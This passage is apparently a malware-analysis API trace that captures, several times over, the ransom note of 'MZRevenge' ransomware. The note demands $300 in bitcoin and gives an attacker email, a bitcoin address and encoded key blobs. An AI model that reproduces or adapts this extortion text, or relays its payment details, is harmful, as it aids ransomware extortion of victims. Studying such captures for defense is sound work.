}=============================\r\nMZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=\r\n=================================================================================\r\n\r\n============================{ PRİVATE MZREVENGE KEY }============================\r\n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\r\n=================================================================================\r\n", cchWideChar=5981, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5981 [0217.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my files?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases, and other files are no longer\r\naccessible because they are encrypted. Maybe you're busy finding a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service. However, if you want to use the programs of data recovery companies,\r\nplease do not work on your original files, but make copies of them.\r\nCorruption of the actual files can cause irreversible damage to your data.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nBut for this you need to send $300 worth bitcoins to our address.\r\nEven if you give money, Do not believe the people around you who\r\nsay they will not give your files, I Have Enough Reference To Give You Confidence.\r\nI don't know about you, so there is no point in having bad feelings towards you,\r\ndoing evil to you, my goal is just to earn an income from this business.\r\n\r\n* What about the guarantees?\r\nThis is just a job. We never care about you and your deals.\r\nIf we do not fulfill our work and obligations - no one will cooperate with us.\r\nIf you do not believe us, tell us any 1 or 2 files with SIMPLE extensions\r\n(jpg, xls, doc, etc ... not databases!) And low size (max 1 mb)\r\n1 or 2 file and following special public and private mzrevenge keys produced for you send us\r\nwe will decrypt these files and send it back to you. This is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files. but you need to pay for it and contact us.\r\n\r\n* So what is Bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n\r\nThese are public and private MZREVENGE decryption keys produced for you.\r\nIf these keys are damaged, nobody can recovery your files.\r\n\r\n============================{ PUBLIC MZREVENGE KEY }=============================\r\nMZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=\r\n=================================================================================\r\n\r\n============================{ PRİVATE MZREVENGE KEY }============================\r\nMZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw\r\n=================================================================================\r\n", cchWideChar=5981, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5981 [0217.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my files?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases, and other files are no longer\r\naccessible because they are encrypted. Maybe you're busy finding a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service. However, if you want to use the programs of data recovery companies,\r\nplease do not work on your original files, but make copies of them.\r\nCorruption of the actual files can cause irreversible damage to your data.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nBut for this you need to send $300 worth bitcoins to our address.\r\nEven if you give money, Do not believe the people around you who\r\nsay they will not give your files, I Have Enough Reference To Give You Confidence.\r\nI don't know about you, so there is no point in having bad feelings towards you,\r\ndoing evil to you, my goal is just to earn an income from this business.\r\n\r\n* What about the guarantees?\r\nThis is just a job. We never care about you and your deals.\r\nIf we do not fulfill our work and obligations - no one will cooperate with us.\r\nIf you do not believe us, tell us any 1 or 2 files with SIMPLE extensions\r\n(jpg, xls, doc, etc ... not databases!) And low size (max 1 mb)\r\n1 or 2 file and following special public and private mzrevenge keys produced for you send us\r\nwe will decrypt these files and send it back to you. This is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files. but you need to pay for it and contact us.\r\n\r\n* So what is Bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n\r\nThese are public and private MZREVENGE decryption keys produced for you.\r\nIf these keys are damaged, nobody can recovery your files.\r\n\r\n============================{ PUBLIC MZREVENGE KEY }=============================\r\nMZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=\r\n=================================================================================\r\n\r\n============================{ PRİVATE MZREVENGE KEY }============================\r\n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\r\n=================================================================================\r\n", cchWideChar=5981, lpMultiByteStr=0x24a2f48, cbMultiByte=5981, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="* What happened to my files?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases, and other files are no longer\r\naccessible because they are encrypted. Maybe you're busy finding a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service. However, if you want to use the programs of data recovery companies,\r\nplease do not work on your original files, but make copies of them.\r\nCorruption of the actual files can cause irreversible damage to your data.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nBut for this you need to send $300 worth bitcoins to our address.\r\nEven if you give money, Do not believe the people around you who\r\nsay they will not give your files, I Have Enough Reference To Give You Confidence.\r\nI don't know about you, so there is no point in having bad feelings towards you,\r\ndoing evil to you, my goal is just to earn an income from this business.\r\n\r\n* What about the guarantees?\r\nThis is just a job. We never care about you and your deals.\r\nIf we do not fulfill our work and obligations - no one will cooperate with us.\r\nIf you do not believe us, tell us any 1 or 2 files with SIMPLE extensions\r\n(jpg, xls, doc, etc ... not databases!) And low size (max 1 mb)\r\n1 or 2 file and following special public and private mzrevenge keys produced for you send us\r\nwe will decrypt these files and send it back to you. This is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files. but you need to pay for it and contact us.\r\n\r\n* So what is Bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n\r\nThese are public and private MZREVENGE decryption keys produced for you.\r\nIf these keys are damaged, nobody can recovery your files.\r\n\r\n============================{ PUBLIC MZREVENGE KEY }=============================\r\nMZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=\r\n=================================================================================\r\n\r\n============================{ PRIVATE MZREVENGE KEY }============================\r\nMZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDs